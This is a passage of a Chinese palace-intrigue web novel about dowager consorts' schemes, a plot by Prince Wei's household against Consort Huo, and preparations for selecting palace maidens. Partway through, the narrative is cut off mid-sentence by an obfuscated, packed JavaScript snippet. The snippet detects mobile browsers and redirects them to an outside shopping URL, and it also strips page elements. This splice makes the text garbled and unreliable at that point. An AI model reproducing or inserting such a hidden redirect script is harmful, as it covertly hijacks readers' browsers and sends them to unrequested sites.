“姬姐姐是明白人岂有不明之理?”田太妃凄苦而悲愤:“朱家女不能生,同期的嫔妃有几个能生?我三个孩儿呀,一个怀胎三月时流掉,一个怀胎八月流产,还有我的小皇子,我费尽心血保他降生还是没熬过满月就夭折了连个齿序都没有,我三个孩儿啊。” 姬太妃的恻隐之心早在姬家惨祸时磨尽了,漠然提点:“在皇宫中养老的太妃以庄太妃一家独大,任何有令她溃败的苗头她都会从速掐灭,田太妃该注意自己的行藏。” 越是关键时刻越得忍!田太妃道个谢,连忙撤离此地。 溃败?!难道太上皇只是没有一如既往的维护她就能算是她将溃败的预兆吗?庄太妃心里不是没点细微的不安但不想认,朱太妃偏要她正视,拿好银票,她就去堵她,第一句便是:“姬太妃有异心了,田太妃必趁机倒戈。” 庄太妃示意守在寝殿前的阚嬷嬷退下,她走下台阶来到庭前,凝视四周围,似乎能看见太阳光丝游走在花叶脉络间的痕迹,她不禁轻吁出口浊气。 “不就是她自愿出大头。” “是啊,鞠太妃没感觉更巴不得少出,可不还有我在吗?”朱太妃好笑道:“做嫔妃时我正二品而她从二品,更不提我背后还有昌隆侯府,轮得到她来越过我出头吗?” 庄太妃想说她多心,可数十年深宫沉浮到底叫她难以漠视:“你有把握田太妃清楚当年真正令她饱尝骨肉之痛的主使是你朱家吗?” “她势单力薄且膝下空虚都能做到从二品妃岂会没这点眼力,不过是她给我装傻充愣,我便由着她苟活罢了。”朱太妃不屑,庄太妃蹙眉沉吟:“你什么打算?” “庄姐姐何时送蜀王壮烈牺牲在北疆,昌隆侯府何时就把蜀地的驻军送到晋王麾下。”朱太妃风韵犹存的眉眼间满满的机锋哪儿还有什么没有生趣的沉寂,庄太妃倏然握拳,眼蓄锋锐逼视眼前之人:“这不是朱妹妹一时兴起,是昌隆侯交代你的吧?” “有何差别?”朱太妃好意劝:“蜀王必会牺牲在北疆,我朱家不做,谁做?” “找个愿意的有何难,还怕会没人愿意吗?”庄太妃低叱,朱太妃眉眼生动得笑起来,好像听到笑话那般笑:“庄姐姐怎么犯起糊涂来了,晋王胸怀大志,我朱家总要明哲保身,甚至蜀王不英勇牺牲反而击败契丹,全在姐姐一念之间。” “田太妃没惹事前不能动她。”庄太妃心性何其坚韧怎么可能会被她逼到,转眼间便镇定略过这桩交易,沉着吩咐:“鞠太妃和阮太妃跟你朱家都还有两笔账是她们不知道的,你堂妹的绝育汤更是你灌下,圣人只是不让朱家女生可没让你们绝育。 你朱家在后宫还有十几笔账没清,不能妄动,姬太妃和田太妃在暗中窥伺多年,谁知道她们握着你我多少辛秘,若是人心涣散,我们可能连慈寿宫都要握不稳了。” “好,就依你。”朱太妃眼眸灼灼盯她告诫:“但请庄姐姐记住,我们今日付出的可不是十万两银票而是圣人对太妃们放任自流的开端,皇宫里可多的是眉眼活络的眼线。” 语毕,朱太妃率先走掉,或许是她脚步踩得重了些,惊扰得窝在花坛打盹儿的懒猫喵喵叫还牵动系在懒猫脚脖子上的铃铛铃铃响,庄太妃被吓跳,看清楚就是只猫,她还是从心底涌起股烦躁,没一点征兆,圣人怎会突然要敲打太妃们? 眼下这事可不是对太妃们的放任而是圣人在敲打,但因何故?庄太妃这刻真不得其解。 返回到慈寿宫前,七位太妃各自将银票奉上,蒋厚运清点过后把银票呈给陛下。 嬴忱璧瞟眼后示意给英王世子,蒋厚运移过几步再把银票给英王世子,晏霁之弯弯唇:“至尊恩泽若臣白受岂有礼呼?顾统领帮我呈给圣人谢圣人隆恩吧。” 顾统领平静地请示皇帝,得允后接过银票应承。 大总管眼皮抽抽,鞠太妃这几位太妃被憋屈了,他竟然还有这种后手?! 庄太妃哼笑,英王世子做事滴水不漏啊。 事情结束,嬴忱璧欲离开时,姬太妃突然站出来:“陛下,我是贵妃母亲的亲姐姐,我有件事要告诉贵妃,您让贵妃过来老妇面前让老妇告诉贵妃知晓吧。” 晏霁之微怔,正徽帝嬴忱璧微微蹙眉,倒是姬太妃身后的众位太妃对此甚平淡。 “贵妃?”皇帝看向贵妃,霍灵渠嗯声,她往前走,姬太妃也向她走来几步,她想这有什么好怕,大庭广众,难道姬太妃还能害她?想告诉她件事情就告诉呗。 相距两步之遥,面对面站着,姬太妃凝望着眼前陌生中溢着熟悉的容颜险些没克制住,她整整心绪再近前两步对霍贵妃浅笑轻吟:“我大弟弟名叫姬沛,水盛丰沛的沛字。” 霍灵渠感觉怪怪的,再看姬太妃时她噙着莫测笑容,就转身往回走了。 皇帝再皱眉,贵妃走回来即问姬太妃说什么事,霍灵渠直觉摇摇头不想告诉皇帝。 晏霁之怀疑若是正常情况、霍灵渠应该不会瞒着皇帝?霍海啸闪现报有事禀奏,霍灵渠还浸在思绪中都没多看哥哥一眼,晏霁之真得怀疑姬太妃告诉她的事不一般了。 嬴忱璧放掉追问的心思,请众位太妃回吧,令蒋厚运带批宫人护送贵妃回长春宫、传令步昂领禁军退下以及送送顾统领出皇城。贵妃乘轿辇先走,步昂他们告退后,皇帝他再带着晏霁之等人慢悠悠走离慈寿宫,走出一段路,问霍海啸何事禀奏? “侯瞻渥溜出京畿,臣认定他出京是想找假冒我家桑柔的假冒货便把他截住了,臣不知该如何交给武襄侯便把他捆了运进宫来了,陛下您把他交给武襄侯吧。” “海啸可真有脸啊。”正徽帝嬴忱璧懒得再看他们,就此把他俩甩下,霍海啸和晏霁之俯身作揖恭送陛下,远远跟随的四名小太监见状忙小跑跟上。 宽阔的宫道上唯剩他俩,晏霁之再褒奖他:“你确实够有脸的。” 霍海啸冷峻相讥:“你看我能否截住第二回,我留够余地了,武襄侯若是还不肯管妻儿,我霍家清算时把整个侯家都卷进去就是武襄侯他自找的。” “有恃无恐吧,毕竟可能是圣人早夭的六公主,既然侯瞻渥用情深、侯夫人溺爱小儿,皇亲国戚自然会不惧霍家和贵妃的仇恨。”晏霁之淡淡道。 “不惧?”霍海啸眼底狠厉而神态愈发闲适:“欲倾覆我霍家和贵妃十多年苦难的仇,若武襄侯夫妇竟自认能靠个公主抵消,真活该他家要下黄泉了。” 晏霁之豁然意识到他想少了更是他看轻霍家的恨意了,霍家只是表现得云淡风轻而已,霍家对这桩阴谋绝对恨之入骨,老穆国公会要不把这批仇家斩尽杀绝不罢休的。 “不过,你比我更有脸吧。”霍海啸敛起恨意笑:“太上皇都纵着你这么闹了。” “陛下送大皇子到魏王府小住的用意,太上皇会猜不出来吗?”晏霁之思量道:“我想圣人会纵容我的关键还是在于陛下对太妃们耐心耗尽要整治她们,圣人欲借此敲打庄太妃,就看庄太妃能不能领悟了?我估摸着她应该能领悟,魏王府应该不会再出祸端了。” 霍海啸昂昂下巴,傲娇道:“我祝愿庄太妃已经懈怠得不能领悟圣人的用意了。” 霍灵渠回到长春宫,遣退宫人,她就向姑母探寻:“姑母您说,姬太妃煞有其事的却只是告诉我、她弟弟的名字,什么意思嘛,我总觉得有诡异。” 而且霍灵渠心中还有莫名的沉重感,就是这个名字给她的沉重甚至是种无端端的沉重,姬沛、姬沛?她是不是曾经在哪儿遇到过这名字…… 霍太后真想再训那老女人莫再生事然因此事到底没忍心:“这是姬国舅的名字,姬国舅生前是风华绝代的人物,灵渠知晓他的名字没什么不好,灵儿就记住吧。” “可姑母您不觉得诡异吗?她告诉我她弟弟的名字作甚,她总不可能没有阴谋吧?”霍灵渠纠结,霍太后失笑:“傻孩子,没阴谋,就是灵渠不知道她弟弟的大名让她觉得亏了,姑母保证她就只是想让灵渠知道这个名字,灵渠记住就好了。” 霍灵渠想想还是就应下吧,霍太后让孩子回寝殿歇会儿,独处时不由叹息,姬沛! 是夜,长春宫中两名宫婢染恶疾暴毙,霍太后没封禁乃至有意让扩散,这消息就像插上翅膀般飞向内廷各处,朱太妃收到禀告时在修剪盆栽,一段悦目花枝就此被折断。 今夜难眠的还有令愔夫人,各地秀女抵达京畿,她也知道了:“爹想让四妹进宫?” “是,娘娘,您莫介怀,大人也是忧长远。”胡姑姑自然向着主子,但有些事不能不做打算:“您虽然圣眷正浓,可独木难支,大人他们远在荆湖对京畿的事难以顾到事事周全,四姑娘进宫来给您搭把手对娘娘您和两位殿下未尝不是件好事。” 令愔夫人出身楚州望族,授康二十六年圣人给晋王赐婚,同时给魏王和当时是越王的陛下各赐了一名侧妃,当时她父亲是楚州府尹,她被选中为越王侧妃。她是父母的嫡幼女,从没想过做妾但入皇家做王爷侧妃也没那么排斥,接受得还算情愿吧。 授康二十六年六月接到圣旨,十月入潜邸,令愔夫人算算她已经有六年半未见过父母和兄弟姐妹们。父亲于正徽三年七月升任荆湖巡抚,她父母现今在荆湖,她姐姐嫁在金陵府,她大哥在温州,曾经日日欢聚的一家人好像都各自离散了。 “四妹刚及笄吧?”令愔夫人想起,胡姑姑愣下应是,令愔夫人有些鼻酸:“四妹比我小八岁,我离家时她还不到十岁,她都及笄了,我二十三岁了,是老了。” “娘娘您可——”胡姑姑担忧主子胡思乱想要劝被令愔夫人拦住:“我明白,爹担心我在宫中艰难想让四妹来帮帮我,我都明白的,就这样吧。” 胡姑姑退下后,令愔夫人走到窗前,推开窗,遥望残缺的皎月,弦月纵再明,有着缺口不是完整的圆月总叫人感觉凄清有遗,想见轮圆月真难呀。 弦月在淡淡愁愁的乌云中隐没,黑夜在晨曦的金芒中退场,一大清早,晨雾还未散尽,小太监赶到长春宫禀告太后和贵妃:霍秀仪脱离性命危险了。 霍太后懒得理会,霍贵妃让宫婢留芷筠斋的小太监候着,待到前朝办公的时辰,霍雄鹰过来拿银票去再散笔钱财多保重平安才让宫人把剩余的银票带回芷筠斋。 就剩一万六千两只剩一万六千两了,霍秀仪霍鹣娇拿回财物,数得恨不得想哭想烧屋更恨得自暴自弃想干脆把这点银钱都撕了算了,反观霍雄鹰,真高兴。 他赶到闹市,轻车熟路地找米铺买米,百姓们聚拢过来时宣布他这庶妹已经转危为安,这四千两银子总算没白花,引得看客们捧腹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459292|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大笑,这场热闹现在传得可响了。 得益于霍家近日热闹多多,佟老太太带着长媳走趟英王府后返回佟家要派奴婢们在城中散播英王世子不孝不给重病的母亲侍疾被佟尚书正当地拦住了:又不是新奇事,百姓们对当前的笑料还议论得津津有味哪有闲情关注这种传闻,这阵消停后再看吧。 英王妃佟梦娴不知她母亲被父亲挡住了,她母亲前一刻离开英王府,她后一刻便病倒,派人待那孽障回府后明明白白警戒:“王妃染恶疾病重,请世子侍疾,王妃说倘若世子不肯给病重的母亲侍疾就休怪她不念母子情将世子不孝宣扬得人尽皆知。” 晏霁之让丫鬟去转述给王爷。 英王晏墉收到佟氏最新的作妖,派下三道命令:传府医给病重的王妃好好治病,传护卫把佟氏从娘家带来的奴婢杖打四十大板,这群奴婢的花销不得再走王府的账。 什么叫不再走王府的账?就是英王妃佟梦娴从娘家带来的这群奴婢在英王府要吃食要柴炭不管要什么都得掏银两买,或自己出银两或英王妃帮他们包揽,总之,王府除了让他们白住之外不再养他们,今后份例月银这些也全都没了。 佟梦娴自从授康四年十月嫁给晏墉以来,二十八年半期间,他们夫妻再不睦都没影响过她的富贵生活,她倚重的扈妈妈日常比地主婆还享受,这扈妈妈的小女儿翡翠更是几乎十指不沾阳春水,一群奴婢都养得细皮嫩肉不说,还都自觉高人一等—— 他们可是佟梦娴从娘家带来的亲信要帮着接管英王府的,二十多年来,不知忠心如何,私欲是增长不知多少了,甚至于他们对英王府的认知都已经是坐等敛财。 谁不自觉再过几年待到晏墉死后佟梦娴做老王妃之际就是他们发达时啊,近期连着挨两顿合计九十大板的痛打都没打消他们这个念想,突然要他们管自己的花销?谁还能受得了在英王府不仅挖不到钱财还得往外掏银两,这简直比打几十板子都疼。 佟梦娴被王府的丫鬟告知时亦是活见鬼的表情,一整夜,岚瑟居就没消停过。 任逍拿到英王府的线报和各地秀女的名单,得知魏王回府就找去,熟练地甩掉小厮的阻拦闯进书房,魏王难得没发脾气,让两位谋士退下,问什么事? “前几天霍太后放出三百名宫人就把魏王府埋在宫里的十来枚眼线都给拔掉了。”任逍甩两张名单在书桌,冷冷讽刺:“说霍家没故意针对魏王府,你也信?” 魏王发现任逍来找他差不多每回都是在发火,不痛不痒问:“你还有事吗?” “霍家在针对魏王府,这会没点猫腻吗?”任逍被魏王这副不上心的德行刺激得暴跳:“若不是霍灵渠,霍家能把魏王府的眼线找得这么准吗,你还能掌控得住她吗?” “你没事了就退下吧。”魏王浑像没过耳,任逍捏紧拳头,咬牙冷静道:“这两张名单是英王府在皇宫中的眼线名单和我帮你拟定的中选秀女名单,殿选时就让霍贵妃按照这份中选名单来挑秀女,选秀结束就让英王妃送霍灵渠重病场。” “英王妃?”魏王狐疑,任逍总算舒坦点,哼着将世事玩弄在股掌间的自得嘲弄:“英王都停掉英王妃院中奴婢的花销了,晏霁之竟还毫无反应,英王妃要泄恨不是很应该吗?既然晏霁之旧情难忘,让他夹在亲娘和旧情人的斗争中不是正好么?” “貌似可以考虑。”魏王说,任逍理所当然地翘嘴角:“还有大皇子,皇帝把大皇子送来跟堂兄学总不能辜负皇帝的良苦用心,就让大皇子害世子重伤吧。” 魏王抬头看向她,若有似无地恭维:“你不做谋士真是可惜了。” 任逍怔下,莫名接不住魏王的发难,对,她就觉得是发难。魏王是没发脾气,但魏王暴怒时她根本不怵,反而是这种没发出来的脾气让她心慌,她厌恶这种感觉,她厌恶一切不受掌控的情况,唯有把所有事捏在她掌中才能让她安心。 “表哥你是不是不同意这计策,可唯有如此,魏王府才能做文章呀。” “退下吧。”魏王闭眼靠在太师椅中,不想再跟她多说,任逍握紧拳头,犹豫再三还是跺跺脚走掉,走时摔门摔得老响,老远都能感受到摔门人的愤怒。 “王爷好脾性,没想到你们兄弟都是看起来不好相与实则脾性很好。” 魏王睁眼,来客已站在他面前,晏霁之道:“约在酉时六刻会面,我早到一刻钟而已。”话落,他把带来的食盒放桌上,拾起名单看遍后搁在旁,取出酒壶酒杯,将食盒放边上,他撩撩锦袍在魏王对面的紫檀镶理石座椅中落座。 “你对英王妃的脾性更好吧。”魏王不咸不淡的,晌午时晏霁之找他约傍晚会面,有事要来魏王府详谈,晌午时他没猜出他的目的,现在似乎能猜出来了。 “寄住的表妹与生母能有得比?”晏霁之嗤道:“倘若是我当家作主时有个表妹逃婚来死赖着我,莫说是敢对我甩脸,她装出副规矩样我都让她天天在病榻里过。” 魏王看着他没接话,晏霁之再扫眼桌上的两份名单,黑眸湛湛显尽笑意:“我猜霍灵渠根本不清楚魏王府在皇宫的眼线吧,任逍能拿到英王埋在皇宫的暗钉名单、拟出看似对魏王府有利的秀女名单更荒谬,哪怕事前不知,王爷今日都要怀疑她了吧。” “你是怎么发现霍灵渠在英王府时是我的细作?”魏王默认道:“何时察觉?” “老穆国公推敲出来的。”晏霁之喟叹:“老人家洞察世事,世间恐怕没几人能比了。” 魏王不禁叹息,晏霁之猜疑:“你似乎不担心她们姐妹会脱离魏王府麾下?” “她想回霍家随时都可以,她在英王府时你拦不住她,本王同样拦不住。”魏王淡淡道:“我和霍灵渠虽然分歧不少但我绝对信得过她不会出卖我来谄媚嬴忱璧。” “是值得信赖。”晏霁之失笑赞同,是他多虑了,魏王这点的确看得透彻。 被挑剔的晏某人称透彻的魏王拿起那所谓的名单正眼看遍,阅毕,没好气拍在桌上。 “本王真是想笑话庄太妃暴露出这么大的破绽给我都笑不出,任逍她不长脑啊还是个人头猪脑,连魏王府后院的奴婢谁是王妃的人谁是侧妃的人谁是暗钉都弄不清楚,她就敢妄想在魏王府外惹事,庄太妃把事情派给她,她不掂量掂量居然真就敢做?!” 晏霁之讶异:“你这位女谋士不清楚魏王府在皇宫里埋的暗钉情况?” 魏王扔给白眼给他:“难道我还指望真拿任逍来当谋士用吗?” 晏霁之轻咳声,的确嘲笑不起来:“庄太妃泄露的破绽应该是消息不对称造成的纰漏,庄太妃忖度任逍总该有点用处,任逍不想让庄太妃知道她的没用,所以就出问题了。 而任逍展示出的问题恐怕她自个儿非但不以为意反而自鸣得意,毕竟你不让她知道的事她照样有本事知晓,她在你面前才能有份量才好办事啊。” 魏王深呼吸,倒两杯烈酒入腹,他大方道:“你想要什么?”大家都埋着暗钉,暗钉被揪出来算不得什么大事,当然不会因此就闹得撕破脸。 “一百万两。”晏霁之爽快,魏王扬眉:“只拿财,你不想拿势力吗?” “我还嫌我不够惹我父亲的眼、我晏家不够惹皇帝和太上皇的眼吗?”晏霁之更爽快地嫌他没眼力劲儿,魏王没好气地站起来去给他拿银票。 取来银票,魏王递给他被要求:“装匣。”惹得魏王差点想不可思议了,晏霁之反奇怪:“霍灵渠没向你禀告过我的挑剔吗?她忍得很辛苦啊。” “挑剔得就差令人发指了。”魏王找只木匣来扔给他,要笑不笑道:“她说你应该登仙、饮琼浆玉露不排污秽,要不然你这挑剔劲儿怎么忍受你活着的?” “谢谢你告诉我:她在背后这样编排我。”晏霁之貌若诚挚:“我会给她记这笔账。” “那本王就祝你能把这笔账讨回来吧。”魏王一脸我看你自夸的德行,晏霁之忽然正经:“庄太妃欲让魏王府运作把英王妃摆出来害贵妃重病的意图是想让贵妃病逝吧。” 魏王顿住,慢慢打量他,揣摩他的推测,眼神一点点阴鸷。晏霁之再猜:“任逍不知,庄太妃不可能把她的目的告诉任逍,她只需要在最后推那一把,完美。” “这是恨前日你毁掉她经营多年得圣人厚爱的表象?”魏王笑了,讥讽道:“枉本王竟一直以为她气量不错,真是高看她了。” “是病急乱投医吧,我猜她应该能领悟圣人的敲打,霍海啸猜她已经懈怠得不能领悟太上皇的用意了,看来是海啸言中了,魏王府将能预见的祸事非但不会消失,庄太妃还想把水搅浑好弥补她没有看懂圣人用意对她造成的危机,确实很可笑。” 晏霁之的语气倒偏平淡:“莫说英王妃当下的处境都敢把主意打到她头上,霍家还是当朝第一豪族呢,庄太妃怕是把她做嫔妃时的谨慎全抛脑后了。” 晏霁之拿着装银票的木匣站起来,道:“恭喜王爷。” 魏王应:“承谢。” 残阳落,晏霁之告辞出屋,恰在廊前遥望见烧红的金乌在昏黄中泯没。 回到自家,晏霁之修书一封派晏诺送到霍家交给老穆国公。晏诺一身夜行衣融进夜色中翻墙进霍府见到老穆国公交信,霍擎展信瞧瞧,而后慢悠悠拿笔写奏疏。 是两封一样的奏疏:至尊圣明,臣昧死禀奏,霍家新得英王世子传信,英王世子在魏王府获知庄太妃派在魏王府的细作怂恿魏王:由魏王府运作以令英王妃送霍贵妃病重场,然,英王世子推测庄太妃意在谋害贵妃病逝将朝堂搅浑,霍家信。 写罢收笔,霍擎老太爷派人把霍秦川和霍海啸叫来,让他俩亲自去送这秘报。 101. 第101章 太微宫占地两千亩,比不得皇城雄伟壮丽,但神霄绛阙极尽奢华之能事,尤其当夜间银河闪烁时,映在琉璃灯火中的太微宫犹如镶在九宫山的明珠,远望比满天繁星璀璨。 穆国公霍秦川踏夜而来,太上皇还笑着打趣他,拆封霍家的禀奏一看,笑容直接凝固。 “老臣告退。”霍秦川很善良得装作深沉样作揖告退,本来嘛,他就是来表个态,给太上皇通报最新冒出来的事端再表明霍家的态度,都不需要观察太上皇什么态度。 霍秦川离开,太上皇将信纸揉成团狠狠摔砸在地,殿内的宫人尽数跪下,陪在侧的诲仰道长摆摆拂尘让他们退下,走过几步将纸团捡起来放在桌几上,眼瞧着老皇帝余怒未消,他和悦建议:“圣人若是烦扰难解,不如就再听场心里话吧。” 英王世子抓个小太监来太微宫没有证据就敢指是某位太妃在算计,想要证据很简单,指他应该能炼出惑人神智令人剖白心里话的丹药,倘若他不会炼就请会的神医来炼;他只得表示他尽量试试,今夜献上丹药,得知是哪位太妃做的,那小太监也处死了。 “寡人不想听。”太上皇抬手捏捏眉心,似是真有感到疲惫:“寡人知道庄妃心思多,一直很清楚,但她活着比死有用,故温献皇后薨逝、任皇后薨逝、悼太子薨逝,寡人都始终留着她更给足她宠妃体面,且在任皇后薨逝前,从未怀疑过她对我有真心。” 诲仰道长静静候立在侧任由老皇帝发发牢骚,这位老皇帝太上皇眼神失去焦点般注视着大理石地砖的阴影片刻,决定道:“你替寡人给蜀王送封信,告诉蜀王,到北疆后警惕晋王和庄太妃暗害他,寡人和他母妃在京畿等着他击溃契丹凯旋归来。” “是,圣人。”诲仰道长弯弯腰,太上皇又静默会儿后站起来交代:“信纸烧了吧。” 斑斓生辉的殿阁伴着在香炉中燃烧的信纸化为灰烬而融进黑夜,黑夜偏不是沉寂的专属而更像有数不清的触角在借着黑夜的掩护要释放出比白日更嚣张的狂。 霍海啸进皇宫求见皇帝时正徽帝嬴忱璧已在后宫,是在钟萃宫召见他。 阅过霍家的奏报,嬴忱璧比他太上皇老爹平静许多或许是不是他的嫔妃惹事的缘故吧,皇帝端详着霍海啸没什么态度便令他跪安出宫吧,人退下,嬴忱璧亲自把信纸烧掉。 独自在殿内静默稍许,嬴忱璧刚想传令伺候在殿外的宫婢去请娘娘过来,令愔夫人就出现在他的视野中了,虽然这种未经传召便擅闯没什么,嬴忱璧还是感觉不舒服,今夜本想留宿钟萃宫都被令愔夫人搅得没心思了,令愔夫人想要求三个一二品高位的嫔妃位置。 帮郭皇后和建威侯府求,选秀在即,皇后和郭家着急要准信,她便一再出头帮衬。 “十几日前,皇儿生辰时爱妃曾言及此事,朕当时的态度你总该看得明白吧。” “陛下当时或许还有些顾虑。”令愔夫人自然看得懂皇帝不想同意,因此她才更得帮衬:“但请陛下垂怜,皇后娘娘明年正月就要辞位离宫了。 倘若皇后离宫前不能给亲生儿女安排周全又岂能安心放心,嫡出皇嗣若是不能得到尽心照料又岂不是被糟践,陛下您于心何忍?但请陛下顾全皇后娘娘和两位殿下,此事就依从皇后心意吧。” “朕若将大皇子和二公主交给爱妃照料,你做他们兄妹的养母,你不会尽心吗?” “臣妾不敢不想更担不起这份重担。”令愔夫人跪下来,美眸盈盈似有泪光仰望皇帝,叫人不怀疑她确是出自真心肺腑:“陛下,不说臣妾根本担不起,单说臣妾已有两位皇子,同时照顾四位还年幼的皇嗣,臣妾真恐心力不济不能顾全反而多出疏漏。 顺应皇后的心意,既能安她的牵挂、免除她离宫的后顾之忧又能给两位嫡皇嗣最尽心的照料还能令陛下和皇后的原配夫妻情更趋牢固给陛下慰藉,您何乐而不为?” 正徽帝嬴忱璧险些没克制住要发火,强忍道:“朕觉着爱妃怕是有些着魔了,明日你请翁美人和喻秀仪来劝劝你吧,你再知会杭婕妤,明日大公主会回婵娟馆。” 语毕,嬴忱璧站起道:“翁美人临盆在即,朕去看看她,爱妃早些安置吧。” “臣妾恭送陛下。”令愔夫人想忍住心底涌起的酸涩还是不受控制的泄出来几丝凄怜,皇帝没动容地走了,她送到廊前,看见十四的月亮也圆了可她怎么仍觉戚戚凉。 令愔夫人半宿难眠,清晨醒来时眼下还染着乌青,她拿脂粉盖住,理好妆容,前往椒房殿给皇后请安,哪想她刚进椒房殿,长春宫的小太监来通传:霍贵妃传召她。 昨夜陛下进钟萃宫后竟没留宿反而改去看翁美人宿在拾翠阁了,这可新鲜了,以往陛下进钟萃宫之后还从未被别的嫔妃请走过,要不怎么说令愔夫人最得宠呢,昨夜的突破几乎是一夜间传遍,虽然还看不出对令愔夫人有何影响,大家没点想法是不可能的。 此时椒房殿内,郭皇后尚未现身,能来请安的三位都在了。翁美人捧着孕肚装没事人,是令愔夫人自己触怒陛下跟她可没有半点关系,这事休想往她头上泼脏水。 喻秀仪与在椒房殿内的宫人们作壁上观,令愔夫人从容表示,她给皇后娘娘请过晨安后会去长春宫向太后和霍贵妃见礼,小太监也没冷嘲热讽啥的就应是。 霍贵妃是为采选的事,皇帝又让令愔夫人帮着管管选秀嘛,她就懒得多费心了,把她的要求派下去包括把她拟定的此次选秀规则知会郭皇后都交给令愔夫人吧。 太宗皇帝在位时曾对采选规定过章程,当中有对人数的限制,一次秀女大选的规模不得超过八百人,最终中选的秀女不能超过六十人。于是,霍贵妃首先限定人数。 秀女采选向来筛选三轮:初选、复选和殿选。霍贵妃限定:初选筛掉五十人,每地均筛掉十名,各地落选人数须相同。复选比才艺筛掉五十人,每地筛掉十名;复选比宫廷礼仪时筛掉二十名,这场各地落选人数不做限制;参加殿选的秀女人数控制在八十人。 殿选,她和皇后择选四十二名秀女,四十二名秀女是否尽皆充盈后宫由陛下钦定。 令愔夫人过来长春宫,霍灵渠把拟定的规章递给她,叮嘱道:“陛下交代了,采选要对武将、商贾、平民出身的秀女都顾及到,京畿外的各地秀女中这三类秀女合计都占有半数,夫人筛选时留意,参加殿选的八十名秀女中这三类秀女合计至少要占到三十名。” “是,贵妃,但您定的才艺比试中有一项是插花,才艺比插花会否不大合适呀?” 霍灵渠定的秀女才艺比试规章是:参加复选的150名秀女按地方分五组,一组三十人,组内比即同地方的秀女比试。秀女可任意选书法、刺绣、插花这三项中的一项才艺来展示,但每项才艺只给十个名额任选,该项才艺满员后秀女不得再选。 “若是武将家的姑娘只会舞枪弄棒,商贾家的姑娘只会看账本,乃至还有秀女不识字呢?夫人才情好,可不是每个秀女都饱读诗书,总要顾及全面,陛下要平民出身的秀女不就是想知道老百姓的日子吗,倘若全选官宦家的姑娘岂不是白费陛下的苦心了。” “娘娘思虑周祥。”令愔夫人再提点异议:“但,贵妃,太医检查秀女有无病症、嬷嬷检查秀女贞洁这两项循例该放在才艺之后,您将这两道检查挪到殿选后会否不妥?” “本宫以为这两道检查与走个过场差不多,就算不是,这两道检查过后既还要筛选,把这检查放在前岂不白白浪费太医和嬷嬷们的精力吗?”霍灵渠温和道:“至于结果,是中途查出有不妥者还是殿选后查出,陛下都会震怒、处置,没有差别。” “但若殿选中混入病患或失贞的秀女是冒犯天颜对陛下大不敬。”令愔夫人提醒。 霍灵渠好像有点能懂皇帝说的和令愔夫人话不投机了,这位应该真没含沙射影,她没兴趣争论地说:“夫人请陛下的意思吧,陛下若要按惯例就按惯例,否则不必改了。” 令愔夫人应下,霍灵渠象征性地交代:“夫人忙去吧,明日就要大选了,虽然就两百名秀女规模不大但毕竟是陛下登基以来第一回采选,可切莫出任何错乱纰漏。” “诺,臣妾告退。”令愔夫人自己没觉得霍贵妃只交代事情没故意向她找茬有何不妥,走出长春宫后被贴身宫女问贵妃是否欺负她时她才愣下,霍贵妃会想伺机打压她吗? 带着这疑虑回钟萃宫,到钟萃宫还没想好,令愔夫人顿感懊恼,她原想找陛下请示的,被这疑虑搅得恍惚了竟直接回来了。但回都回来了,先布置明日的选秀事宜吧。 可杭婕妤、翁美人、喻秀仪和倪芳华还都在等着呢。杭婕妤是来道谢,大公主今早回到婵娟馆,她对外虽称抱恙未愈但仍拖着病体起来去椒房殿谢郭皇后,再来钟萃宫。 在钟萃宫遇见低品阶的三个嫔御,杭婕妤想知道是为何事便陪等着了。 皇帝昨夜要让翁美人她们来劝她打消心思,令愔夫人的打算是真阳奉阴违想要说服她们一同帮忙,清晨出门时吩咐好宫人去请,哪想早上事多竟让她忘记这事了。 胡姑姑迎上来禀告,令愔夫人庆幸她及时回来了没叫她们白等。迈进钟萃宫的正殿,相互见礼过,推辞杭婕妤的谢意,她道出目的,衷心道:“照料嫡皇嗣何其重要,按皇后娘娘的心意是最好的,可陛下还不肯允准,唯有我们同向陛下恳求了,你们说是不是?” 在座的四位嫔御:“……”令愔夫人这是想明着设陷阱给她们吧。 翁美人心里腹诽果然都蔫坏蔫坏的,美眸瞟瞟她们仨,喻秀仪回她个眼神,意思是:你怀着皇嗣你出头最合适。她倒也不在意打头阵:“夫人,贵妃位居嫔妃首位,乃是皇后座下第一人,此事倘若真要替皇后向陛下请求应由贵妃率领我们,我们该先请示贵妃。” 令愔夫人愣了愣,似是没想过翁美人会如此干脆利落地拒绝,可她还没再规劝,喻秀仪和倪芳华同附议。杭婕妤踟躇,她若附议,郭皇后小心眼定会记她的账,那么她想用郭皇后来挡住忠毅伯府的姑娘进宫就难了,早知道就不该留着。 候在侧的胡姑姑和几个大宫女悄悄叹息,令愔夫人有点不知该动之以情晓以大义还是该强硬些,又怕太柔会劝不动,先打消她们用霍贵妃来挡的意图吧:“贵妃是太后的亲侄女又位同副后身份贵重,若请贵妃出面唯恐过犹不及适得其反,还是不要惊动贵妃了。” “可此事肯定得禀告太后和贵妃呀,今日定然是来不及了。”再来找她她就装病,反正她被迫归在霍贵妃的阵营里是跑不掉了还用怕得罪郭皇后和令愔夫人吗?翁美人捧着孕肚站起来准备撤:“夫人,我临盆在即总是稍坐会儿就有些不舒服,嫔妾告退了。” 语毕,翁美人扶着孕肚转身往外走,令愔夫人对此情景惊讶得几乎不可思议,然下刻,喻秀仪和倪芳华又同起身告辞:“明日就要秀女大选了,娘娘要安排明日的选秀事宜,嫔妾不打扰娘娘了,嫔妾告退。”话落,不管令愔夫人是否应允,她们就走。 杭婕妤可不敢再踌躇了,生怕被抓着般告辞。令愔夫人眨眨眼,望着她们远走的身影,她不禁苦笑,何至于这般避如蛇蝎啊,难道她们就连这么点恻隐之心都没有吗? “娘娘您何苦呀?”胡姑姑忍不住再劝道:“昨夜您因此事都惹得陛下那么不悦了,你何苦为着郭皇后去触怒陛下,郭皇后想让娘家妹妹进宫就登高位照料嫡皇嗣,她和建威侯府不能向陛下请求么非得推着您给她们出头,这怎会不是拿您当枪使?” 